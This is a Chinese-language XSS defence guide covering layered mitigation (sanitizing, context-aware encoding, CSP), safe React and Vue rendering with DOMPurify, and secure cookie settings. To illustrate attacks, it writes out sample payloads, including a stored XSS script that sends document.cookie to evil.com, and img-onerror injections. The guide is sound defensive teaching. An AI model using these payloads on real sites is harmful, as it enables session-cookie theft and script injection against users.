XSS 防护

纵深防御层级

单一手段无法覆盖全部 XSS 变体；在架构上叠三层：先控制「进」与「出」的数据形态，再用浏览器策略兜住误用。

输出上下文对照

错误上下文编码是最常见失误之一：在 HTML 文本节点安全的转义，放进 href 或 <script> 内仍可能出事。

缓解流程（示意）

自外而内：先缩小不可信数据的「可表达力」，再在渲染侧编码，最后由 CSP 限制执行面。

  不可信输入（请求体 / URL / 存储 / 第三方 HTML）
              │
              ▼
  ┌───────────────────────┐
  │ ① Sanitize（若需 HTML）│  允许列表、去事件/危险 URL
  └───────────┬───────────┘
              ▼
  ┌───────────────────────┐
  │ ② Encode（按上下文）   │  HTML / Attr / URL / JS
  └───────────┬───────────┘
              ▼
  ┌───────────────────────┐
  │ ③ CSP（+ 可信类型等）  │  script-src、object-src、default-src
  └───────────┬───────────┘
              ▼
         浏览器安全渲染

页内演示

下方脚本仅在本页运行：高亮示例输入中的常见危险子串（示意，非完整漏洞扫描）；并可根据勾选项拼接一版 CSP 预览字符串供对照文档。

框架安全用法与编码函数示例

三类 XSS 攻击 payload 与防御代码

// Stored XSS payload（存储型）
// 攻击者在评论中存入：<script>document.location='https://evil.com/steal?c='+document.cookie</script>
// 防御：出库渲染时 HTML 编码，不直接 innerHTML

// Reflected XSS payload（反射型）
// URL: /search?q=<img src=x onerror=alert(document.domain)>
// 防御：服务端输出时转义，CSP 限制内联脚本

// DOM XSS payload
// URL fragment: #<img src=x onerror=alert(1)>
document.getElementById('output').innerHTML = location.hash.slice(1); // ❌
// 防御：用 textContent 而非 innerHTML
document.getElementById('output').textContent = location.hash.slice(1); // ✅

React dangerouslySetInnerHTML 错误 vs DOMPurify 正确用法

// ❌ 危险：未消毒的 dangerouslySetInnerHTML
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// ✅ 安全：DOMPurify 消毒后再渲染
import DOMPurify from 'dompurify';

function Comment({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href', 'title'],
    ALLOW_DATA_ATTR: false,
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ✅ Vue v-html 安全使用规则
// 仅在受信任的内容上使用 v-html，用 DOMPurify 预处理：
// <div v-html="sanitizedContent"></div>
// computed: { sanitizedContent() { return DOMPurify.sanitize(this.rawHtml) } }

四种编码上下文的函数示例

// HTML 编码（Node.js — he 库）
import he from 'he';
const htmlEncoded = he.encode('<script>alert(1)</script>');
// → '&lt;script&gt;alert(1)&lt;/script&gt;'

// URL 编码
const urlEncoded = encodeURIComponent(userInput);
// 用于 query string 值，不用于整个 URL

// JavaScript 字符串编码（嵌入 <script> 内时）
const jsEncoded = JSON.stringify(userInput)
  .replace(/</g, '\\u003c')
  .replace(/>/g, '\\u003e')
  .replace(/&/g, '\\u0026');

// CSS 编码（用户控制 style 属性值时）
function cssSafeValue(val) {
  return val.replace(/[^a-zA-Z0-9\-_]/g, c =>
    '\\' + c.codePointAt(0).toString(16) + ' '
  );
}

安全 Cookie 配置完整示例

// Express.js — 安全 Cookie 配置
res.cookie('session', token, {
  httpOnly: true,      // 防 JS 读取（XSS 窃取 cookie）
  secure: true,        // 仅 HTTPS
  sameSite: 'Strict',  // 防 CSRF（'Lax' 为大多数场景的平衡点）
  maxAge: 3600000,     // 1 小时
  path: '/',
  domain: 'example.com',
});

# Nginx — Set-Cookie header 示例
# add_header Set-Cookie "session=$token; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600"

SKILL 片段